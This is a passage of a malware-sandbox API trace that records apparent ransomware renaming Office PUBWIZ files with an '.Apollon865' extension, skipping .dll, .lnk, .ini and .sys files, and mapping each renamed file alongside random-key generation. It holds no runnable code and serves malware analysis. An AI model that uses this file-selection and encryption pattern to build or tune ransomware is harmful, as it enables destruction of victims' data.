	[0067.176] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.176] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a20, lpName=0x0) returned 0x100
	[0067.177] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a20) returned 0x100000
	[0067.178] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.179] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.179] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.180] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBAD.XML" | out: lpString1="DGWEBAD.XML") returned="DGWEBAD.XML"
	[0067.180] lstrlenW (lpString="DGWEBAD.XML") returned 11
	[0067.180] lstrlenW (lpString="Apollon865") returned 10
	[0067.180] lstrcmpiW (lpString1="GWEBAD.XML", lpString2="Apollon865") returned 1
	[0067.180] lstrlenW (lpString=".dll") returned 4
	[0067.180] lstrcmpiW (lpString1="DGWEBAD.XML", lpString2=".dll") returned 1
	[0067.180] lstrlenW (lpString=".lnk") returned 4
	[0067.180] lstrcmpiW (lpString1="DGWEBAD.XML", lpString2=".lnk") returned 1
	[0067.180] lstrlenW (lpString=".ini") returned 4
	[0067.180] lstrcmpiW (lpString1="DGWEBAD.XML", lpString2=".ini") returned 1
	[0067.180] lstrlenW (lpString=".sys") returned 4
	[0067.180] lstrcmpiW (lpString1="DGWEBAD.XML", lpString2=".sys") returned 1
	[0067.180] lstrlenW (lpString="DGWEBAD.XML") returned 11
	[0067.180] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML.Apollon865") returned 72
	[0067.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.182] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0067.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.182] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.183] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.183] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.183] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x100
	[0067.184] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0067.185] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.186] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.186] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.186] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBBTN.DPV" | out: lpString1="DGWEBBTN.DPV") returned="DGWEBBTN.DPV"
	[0067.186] lstrlenW (lpString="DGWEBBTN.DPV") returned 12
	[0067.186] lstrlenW (lpString="Apollon865") returned 10
	[0067.186] lstrcmpiW (lpString1="WEBBTN.DPV", lpString2="Apollon865") returned 1
	[0067.186] lstrlenW (lpString=".dll") returned 4
	[0067.186] lstrcmpiW (lpString1="DGWEBBTN.DPV", lpString2=".dll") returned 1
	[0067.186] lstrlenW (lpString=".lnk") returned 4
	[0067.186] lstrcmpiW (lpString1="DGWEBBTN.DPV", lpString2=".lnk") returned 1
	[0067.186] lstrlenW (lpString=".ini") returned 4
	[0067.187] lstrcmpiW (lpString1="DGWEBBTN.DPV", lpString2=".ini") returned 1
	[0067.187] lstrlenW (lpString=".sys") returned 4
	[0067.187] lstrcmpiW (lpString1="DGWEBBTN.DPV", lpString2=".sys") returned 1
	[0067.187] lstrlenW (lpString="DGWEBBTN.DPV") returned 12
	[0067.187] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBBTN.XML" | out: lpString1="DGWEBBTN.XML") returned="DGWEBBTN.XML"
	[0067.187] lstrlenW (lpString="DGWEBBTN.XML") returned 12
	[0067.187] lstrlenW (lpString="Apollon865") returned 10
	[0067.187] lstrcmpiW (lpString1="WEBBTN.XML", lpString2="Apollon865") returned 1
	[0067.187] lstrlenW (lpString=".dll") returned 4
	[0067.187] lstrcmpiW (lpString1="DGWEBBTN.XML", lpString2=".dll") returned 1
	[0067.187] lstrlenW (lpString=".lnk") returned 4
	[0067.187] lstrcmpiW (lpString1="DGWEBBTN.XML", lpString2=".lnk") returned 1
	[0067.187] lstrlenW (lpString=".ini") returned 4
	[0067.187] lstrcmpiW (lpString1="DGWEBBTN.XML", lpString2=".ini") returned 1
	[0067.187] lstrlenW (lpString=".sys") returned 4
	[0067.187] lstrcmpiW (lpString1="DGWEBBTN.XML", lpString2=".sys") returned 1
	[0067.187] lstrlenW (lpString="DGWEBBTN.XML") returned 12
	[0067.187] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML.Apollon865") returned 73
	[0067.187] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.189] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4366) returned 1
	[0067.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.189] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.190] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.190] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.192] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1410, lpName=0x0) returned 0x100
	[0067.204] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1410) returned 0x100000
	[0067.207] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.208] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.208] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.212] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBCAL.DPV" | out: lpString1="DGWEBCAL.DPV") returned="DGWEBCAL.DPV"
	[0067.212] lstrlenW (lpString="DGWEBCAL.DPV") returned 12
	[0067.212] lstrlenW (lpString="Apollon865") returned 10
	[0067.212] lstrcmpiW (lpString1="WEBCAL.DPV", lpString2="Apollon865") returned 1
	[0067.212] lstrlenW (lpString=".dll") returned 4
	[0067.212] lstrcmpiW (lpString1="DGWEBCAL.DPV", lpString2=".dll") returned 1
	[0067.212] lstrlenW (lpString=".lnk") returned 4
	[0067.212] lstrcmpiW (lpString1="DGWEBCAL.DPV", lpString2=".lnk") returned 1
	[0067.212] lstrlenW (lpString=".ini") returned 4
	[0067.212] lstrcmpiW (lpString1="DGWEBCAL.DPV", lpString2=".ini") returned 1
	[0067.212] lstrlenW (lpString=".sys") returned 4
	[0067.212] lstrcmpiW (lpString1="DGWEBCAL.DPV", lpString2=".sys") returned 1
	[0067.212] lstrlenW (lpString="DGWEBCAL.DPV") returned 12
	[0067.212] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBCAL.XML" | out: lpString1="DGWEBCAL.XML") returned="DGWEBCAL.XML"
	[0067.212] lstrlenW (lpString="DGWEBCAL.XML") returned 12
	[0067.212] lstrlenW (lpString="Apollon865") returned 10
	[0067.212] lstrcmpiW (lpString1="WEBCAL.XML", lpString2="Apollon865") returned 1
	[0067.212] lstrlenW (lpString=".dll") returned 4
	[0067.212] lstrcmpiW (lpString1="DGWEBCAL.XML", lpString2=".dll") returned 1
	[0067.212] lstrlenW (lpString=".lnk") returned 4
	[0067.212] lstrcmpiW (lpString1="DGWEBCAL.XML", lpString2=".lnk") returned 1
	[0067.212] lstrlenW (lpString=".ini") returned 4
	[0067.212] lstrcmpiW (lpString1="DGWEBCAL.XML", lpString2=".ini") returned 1
	[0067.212] lstrlenW (lpString=".sys") returned 4
	[0067.212] lstrcmpiW (lpString1="DGWEBCAL.XML", lpString2=".sys") returned 1
	[0067.212] lstrlenW (lpString="DGWEBCAL.XML") returned 12
	[0067.213] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML.Apollon865") returned 73
	[0067.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.217] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7344) returned 1
	[0067.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.218] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.218] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.218] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.219] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fb0, lpName=0x0) returned 0x100
	[0067.220] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fb0) returned 0x100000
	[0067.221] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.222] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.222] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.223] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBHD.DPV" | out: lpString1="DGWEBHD.DPV") returned="DGWEBHD.DPV"
	[0067.223] lstrlenW (lpString="DGWEBHD.DPV") returned 11
	[0067.223] lstrlenW (lpString="Apollon865") returned 10
	[0067.223] lstrcmpiW (lpString1="GWEBHD.DPV", lpString2="Apollon865") returned 1
	[0067.223] lstrlenW (lpString=".dll") returned 4
	[0067.223] lstrcmpiW (lpString1="DGWEBHD.DPV", lpString2=".dll") returned 1
	[0067.223] lstrlenW (lpString=".lnk") returned 4
	[0067.223] lstrcmpiW (lpString1="DGWEBHD.DPV", lpString2=".lnk") returned 1
	[0067.223] lstrlenW (lpString=".ini") returned 4
	[0067.223] lstrcmpiW (lpString1="DGWEBHD.DPV", lpString2=".ini") returned 1
	[0067.223] lstrlenW (lpString=".sys") returned 4
	[0067.223] lstrcmpiW (lpString1="DGWEBHD.DPV", lpString2=".sys") returned 1
	[0067.223] lstrlenW (lpString="DGWEBHD.DPV") returned 11
	[0067.223] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBHD.XML" | out: lpString1="DGWEBHD.XML") returned="DGWEBHD.XML"
	[0067.223] lstrlenW (lpString="DGWEBHD.XML") returned 11
	[0067.223] lstrlenW (lpString="Apollon865") returned 10
	[0067.223] lstrcmpiW (lpString1="GWEBHD.XML", lpString2="Apollon865") returned 1
	[0067.223] lstrlenW (lpString=".dll") returned 4
	[0067.223] lstrcmpiW (lpString1="DGWEBHD.XML", lpString2=".dll") returned 1
	[0067.223] lstrlenW (lpString=".lnk") returned 4
	[0067.223] lstrcmpiW (lpString1="DGWEBHD.XML", lpString2=".lnk") returned 1
	[0067.223] lstrlenW (lpString=".ini") returned 4
	[0067.223] lstrcmpiW (lpString1="DGWEBHD.XML", lpString2=".ini") returned 1
	[0067.223] lstrlenW (lpString=".sys") returned 4
	[0067.223] lstrcmpiW (lpString1="DGWEBHD.XML", lpString2=".sys") returned 1
	[0067.223] lstrlenW (lpString="DGWEBHD.XML") returned 11
	[0067.223] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML.Apollon865") returned 72
	[0067.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.224] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7612) returned 1
	[0067.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.225] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.225] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.225] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.226] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20c0, lpName=0x0) returned 0x100
	[0067.227] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20c0) returned 0x100000
	[0067.228] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.228] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.229] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.229] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBPQT.DPV" | out: lpString1="DGWEBPQT.DPV") returned="DGWEBPQT.DPV"
	[0067.229] lstrlenW (lpString="DGWEBPQT.DPV") returned 12
	[0067.229] lstrlenW (lpString="Apollon865") returned 10
	[0067.229] lstrcmpiW (lpString1="WEBPQT.DPV", lpString2="Apollon865") returned 1
	[0067.229] lstrlenW (lpString=".dll") returned 4
	[0067.229] lstrcmpiW (lpString1="DGWEBPQT.DPV", lpString2=".dll") returned 1
	[0067.229] lstrlenW (lpString=".lnk") returned 4
	[0067.229] lstrcmpiW (lpString1="DGWEBPQT.DPV", lpString2=".lnk") returned 1
	[0067.229] lstrlenW (lpString=".ini") returned 4
	[0067.229] lstrcmpiW (lpString1="DGWEBPQT.DPV", lpString2=".ini") returned 1
	[0067.229] lstrlenW (lpString=".sys") returned 4
	[0067.229] lstrcmpiW (lpString1="DGWEBPQT.DPV", lpString2=".sys") returned 1
	[0067.229] lstrlenW (lpString="DGWEBPQT.DPV") returned 12
	[0067.230] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBPQT.XML" | out: lpString1="DGWEBPQT.XML") returned="DGWEBPQT.XML"
	[0067.230] lstrlenW (lpString="DGWEBPQT.XML") returned 12
	[0067.230] lstrlenW (lpString="Apollon865") returned 10
	[0067.230] lstrcmpiW (lpString1="WEBPQT.XML", lpString2="Apollon865") returned 1
	[0067.230] lstrlenW (lpString=".dll") returned 4
	[0067.230] lstrcmpiW (lpString1="DGWEBPQT.XML", lpString2=".dll") returned 1
	[0067.230] lstrlenW (lpString=".lnk") returned 4
	[0067.230] lstrcmpiW (lpString1="DGWEBPQT.XML", lpString2=".lnk") returned 1
	[0067.230] lstrlenW (lpString=".ini") returned 4
	[0067.230] lstrcmpiW (lpString1="DGWEBPQT.XML", lpString2=".ini") returned 1
	[0067.230] lstrlenW (lpString=".sys") returned 4
	[0067.230] lstrcmpiW (lpString1="DGWEBPQT.XML", lpString2=".sys") returned 1
	[0067.230] lstrlenW (lpString="DGWEBPQT.XML") returned 12
	[0067.230] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML.Apollon865") returned 73
	[0067.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.231] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3004) returned 1
	[0067.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.231] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.232] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.232] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.232] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xec0, lpName=0x0) returned 0x100
	[0067.233] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xec0) returned 0x100000
	[0067.234] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.235] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.235] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.236] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBREF.XML" | out: lpString1="DGWEBREF.XML") returned="DGWEBREF.XML"
	[0067.236] lstrlenW (lpString="DGWEBREF.XML") returned 12
	[0067.236] lstrlenW (lpString="Apollon865") returned 10
	[0067.236] lstrcmpiW (lpString1="WEBREF.XML", lpString2="Apollon865") returned 1
	[0067.236] lstrlenW (lpString=".dll") returned 4
	[0067.236] lstrcmpiW (lpString1="DGWEBREF.XML", lpString2=".dll") returned 1
	[0067.236] lstrlenW (lpString=".lnk") returned 4
	[0067.236] lstrcmpiW (lpString1="DGWEBREF.XML", lpString2=".lnk") returned 1
	[0067.236] lstrlenW (lpString=".ini") returned 4
	[0067.236] lstrcmpiW (lpString1="DGWEBREF.XML", lpString2=".ini") returned 1
	[0067.236] lstrlenW (lpString=".sys") returned 4
	[0067.236] lstrcmpiW (lpString1="DGWEBREF.XML", lpString2=".sys") returned 1
	[0067.236] lstrlenW (lpString="DGWEBREF.XML") returned 12
	[0067.236] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML.Apollon865") returned 73
	[0067.236] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.238] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=544) returned 1
	[0067.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.238] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.239] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.239] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.239] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x520, lpName=0x0) returned 0x100
	[0067.242] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x520) returned 0x100000
	[0067.243] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.244] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.244] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.244] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
